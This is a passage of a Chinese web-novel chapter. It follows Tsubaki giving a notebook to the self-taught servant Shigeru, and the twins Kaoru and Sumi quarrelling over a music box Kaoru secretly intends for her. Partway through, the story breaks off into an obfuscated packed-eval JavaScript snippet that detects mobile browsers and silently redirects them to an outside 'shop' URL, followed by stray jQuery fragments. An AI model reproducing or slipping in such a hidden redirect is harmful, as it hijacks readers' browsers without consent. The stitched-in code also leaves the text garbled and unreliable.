茂张了张嘴,喉咙里似乎哽着什么东西。
他平时就像个紧紧闭合的河蚌,极少主动发出声音,此时要吐出完整的句子,显得格外艰难。
他敷在喉咙里的石粒滚动了一下,才挤出几个干涩却意外清朗的音节,带着生涩的沙哑:“……自、自学的。”
识字并不容易,更不用说没有老师教导,全靠自己摸索。
“以后遇到不懂的,可以来问我。”她温声说道,随即又疑心不知他到底懂到哪种地步了,便试探着问,“认得‘椿’这个字吗?”怕他不明白,她还特意解释,“‘椿’,成濑椿的‘椿’,我的名字。”
茂看着她,点了点头,目光沉静。
“那你写给我看看。”椿伸出了自己的右手,掌心向上,递到他面前。
她想去拉他的手,让他用手指在她的掌心比划。
茂被她这个举动弄得一怔,但他没有挣扎,任由她拉过他那只因为常年劳作而略显粗糙的手。他的手指有些僵硬,沾着些许洗不掉的泥土颜色。
椿却毫不在意,将他的食指引导至自己的掌心。
茂迟疑着,没有立刻动作,目光却越过她的肩头,落在了她刚才随手放在廊板上的书袋底部。
那里用深蓝色的丝线,绣着工整秀丽的“成濑椿”三个字。
他抬起空着的那只手,指了指那个方向。
椿顺着他的手指看去,恍然。
是啊,“成濑椿”怎么写,怎么念,在这成濑屋里呆久了,就算是不识字的人,大概也能囫囵地认得。
“好吧。”椿松开了他的手。
她转过身,翻起自己的书袋,从里面拿出一个用牛皮纸仔细包好的小本子和笔,这是学校发的练习本和文具,她还有很多。
她将本子和铅笔递向茂:“你要是想的话,可以用这个写点东西,识字要多写才记得牢。”
茂看着她手中的本子和铅笔,又抬眼看了看她平静而温和的脸。
过了几秒钟,他才伸出双手小心地接了过去。
夕阳将两人的影子在廊下和庭院交界处拉得很长,几乎融为一体。远处传来归巢鸟雀的啁啾,和风吹过松针的沙沙声。
椿重新背起书袋,向他微微颔首,便继续沿着长廊,向自己灯火渐起的院落走去。
*
一条家的别墅今日格外热闹。
长子一条熏结束了为期半年的赴英研学,今日方才抵家。
别墅上下弥漫着一种忙碌而喜悦的气氛。一条夫人更是兴致高昂,早早吩咐厨房准备熏喜爱的菜肴,甚至难得地亲自下厨,要做一道拿手的炖牛肉。
说是熏在英国想必吃了不少当地菜,回来该尝尝和式洋食,调和一下口味。
熏乘坐的汽车在黄昏时分抵达。
他穿着一身剪裁合体的浅灰色旅行西装,风尘仆仆却不见太多疲态,下车后先向在门口迎接的母亲和仆役们彬彬有礼地问好。
与母亲简单交谈了几句旅途见闻和家中近况后,他才提着那只沉甸甸的皮质旅行箱,缓步上楼。
他的房间在别墅二楼朝阳的一面,宽敞明亮。
这间房原本是他和弟弟澄小时候一起住的,面积比一般的卧室都要大些。后来兄弟俩年纪渐长,需要各自独立的空间,才分了开来。
这间房依旧留给了他,房间保持着简洁雅致的风格,深色的胡桃木家具,巨大的书架摆满了日文和西洋书籍,靠墙放着一张宽大的写字台。
那扇巨大的玻璃装饰的落地窗,外面连接着一个精致的阳台。推开玻璃门走出去,可以俯瞰别墅后方精心打理过的玫瑰园,此刻正值花期,晚风送来阵阵馥郁的甜香。
当初张罗着要分房时,是年纪尚小的澄先提出来的。
那小子不知从哪里来的念头,某天就自顾自地开始收拾自己的玩具、书本,一股脑地往走廊尽头那间空着的客房搬。
家里的空房间很多,他也没怎么挑,就要了那间最靠里、光线相对幽暗的屋子。
一条夫人当时还笑着打趣他:“澄,你这么急着搬走,到时候小椿来了可怎么办呀?房间不够住了哦。”
“怎么办?”澄从很小的时候起,对于任何涉及“成濑椿”的话题,就自有一套应对逻辑。
没办法,小时候家里人总爱拿这个未来“小媳妇”来逗他,逗得多了,他也就练出来了。
玩具没有收好,大人们会说:“哎呀,这样乱糟糟的,小椿看到了会不喜欢的哦。”
吃饭挑食、坐没坐相,他们又会说:“澄你再这样,小椿将来可要讨厌你了。”
那时候的澄,还处在认为“世界是围绕自己旋转”的自我中心期。他仰起那张尚且圆润稚气的小脸,语气是十足的理所当然:“她怎么会不喜欢我?”
所以,当母亲用房间的问题来打趣他时,他想也没想,脱口而出:“那有什么难的?小椿睡床上,我睡她的脚边就好了呀。”
童言无忌。
还没等熏从这段突然浮上心头的童年回忆中抽离,房间那扇厚重的橡木门就被人有些粗暴地、风风火火地推开了。
闯进来的人正是他的弟弟,一条澄。
澄显然刚从外面回来,或者根本就没在意仪表。他身上穿着一件皱巴巴的白色衬衫,最上面的两颗纽扣敞开着,露出少年清瘦的锁骨,下摆一半塞在卡其色的短裤里,一半随意地耷拉着。
头发被风吹得有些凌乱。
他进门也不打招呼,目光直接锁定了熏脚边那只还没完全打开的行李箱,眼睛一亮,开门见山地问道:“哥你总算回来了,有没有带礼物?快让我挑挑,有没有什么适合小椿的?”
熏看着他这副样子,微微蹙了下眉。
他没有立刻回答,不动声色地将原本虚掩着的行李箱盖子,又稍稍合拢了一些。
“想送人的话,寻常的糖果、发带之类的,街市上也有很多选择。”
“那些?”澄撇了撇嘴,一脸的不以为然,“那些我都看不上眼,太普通了。”
他一向厚脸皮,也听不出兄长话里委婉的拒绝之意,或者说听出来了也不在乎。他没顾熏那明显带着阻拦意味的姿态和微合的行李箱,径自溜到箱子旁边,蹲下身伸手就要去掀箱盖。
“澄。”
但澄的动作更快。
他一把掀开了箱盖,里面整齐码放的衣物和几个用柔软布料包裹好的小物件露了出来。澄的目光迅速扫过,然后伸出手从衣物边缘抽出了一个巴掌大小的方形盒子。
“哈,我就知道有。”澄得意地笑起来。
打开盖子,八音盒便呈现在他手中。
那八音盒通体是用浅金色的黄铜打造,边角镶嵌着小小的蛋白石。
澄小心翼翼地打开盒盖,内部铺着深红色的丝绒。随着盒盖开启,一个穿着芭蕾舞裙的人偶从丝绒底座上缓缓弹立起来,姿态优雅,仿佛正要起舞。
同时,清脆悦耳的音乐流淌而出。
“这个好,这个真不错。”
澄的眼睛几乎在放光,他小心地捧着八音盒,凑到眼前仔细看那跳舞的小人,又侧耳倾听那叮咚作响的音乐,“小椿一定会喜欢的,这个给我吧哥。”
熏的拒绝来得很快。
“不行。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408000|197308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“为什么?”澄捧着那还在叮咚作响的八音盒。
房间里的光线随着夕阳西斜,开始变得柔和而暧昧,将那黄铜八音盒映照得流光溢彩,跳舞的小人影子在深红丝绒上摇曳。
熏没有看他,目光落在自己行李箱中其他未拆的包裹上:“这是我买来送人的。”
“送人?”澄挑了挑眉,脸上的表情带上了点促狭和好奇,追问道,“送给谁?你在英国认识的女孩吗?金发碧眼的那种?”
他显然以为兄长在异国有了什么浪漫邂逅。
但熏又不说话了。
他只是伸出手,让澄将八音盒还给他。
澄却将八音盒往怀里收了收,试图用另一个理由说服:“可是哥,我真的觉得椿会喜欢这个,你看这个芭蕾舞小人,跟她房间里那个我以前送她的不是很像吗?”
熏依旧不为所动。
只是再次清晰地重复:“还给我,澄。”
澄看着兄长那副油盐不进的样子,撇了撇嘴,不情不愿地将八音盒递了回去。
熏接过,小心地关上盒盖,跳舞的小人也缓缓隐入丝绒之中。
他将八音盒仔细地放回行李箱内一个单独的夹层,然后开始整理其他物品。
“澄,”熏一边整理,一边开口,声音听不出情绪,“你三天两头就往京都跑,是不是太频繁了些?”
澄正在为没拿到八音盒而悻悻:“这次不一样,这次是因为椿写信给我,我才去的。”
“她写了什么给你?”
澄没想太多,直接答道:“她说她家里人,不让她去读女校,心情不好。我过去说说好话,帮帮忙。”
熏眨了眨眼睛,长长的睫毛在夕阳余晖中投下浅淡的阴影。
重复了一遍:“……这样吗?”
之后,两人之间便陷入了一阵略显尴尬的沉默。
澄觉得兄长大概是旅途劳累,心情不佳,自己也讨了个没趣,便随便找了个“母亲叫我下去看看晚饭”之类的由头,悻悻地离开了房间,还顺手带上了门。
听着澄的脚步声消失在走廊尽头,熏缓缓转过身,走到门边伸手“咔哒”一声,轻轻将门锁上了。
房间彻底安静下来,只剩下窗外归鸟零星的鸣叫,和远处隐约传来的别墅内的活动声响。
夕阳的最后一点余晖透过彩色玻璃窗,在地板上投下斑斓却迅速黯淡的光影。
熏没有开灯。
他就站在房间中央,行李箱摊开在脚边。他开始在房间里踱步,从书架走到窗边,又从窗边走到床沿,脚步很轻,却带着一种无法宣泄的焦躁。
胸腔里像是有什么东西在横冲直撞,呼之欲出,却又被死死地压在舌根之下,吐不出来,咽不下去。
恶心。
他想着,感到一阵生理性的、深切的恶心。
澄和熏是双胞胎,但这层血缘纽带,并不意味着他们关系有多么亲密无间,兄友弟恭。
恰恰相反,自懂事起某种隐性的竞争与资源的天然争夺便存在于他们之间。
就在刚才,如果不是他表现得足够强硬,澄就会像过去许多次那样,理所当然地“夺人所好”。
这样的事情,早已屡见不鲜。
当然熏知道自己也并非什么温良纯善的好人。
虽然他对澄说的这是买来送人的是百分之百的真话,没有掺假。
但真话,他只说了一半。
是啊,八音盒是他想送人的,这没错。
但他想送的人,就是成濑椿。
在这样的情境下,真话只说一半,那跟说谎又有什么区别呢?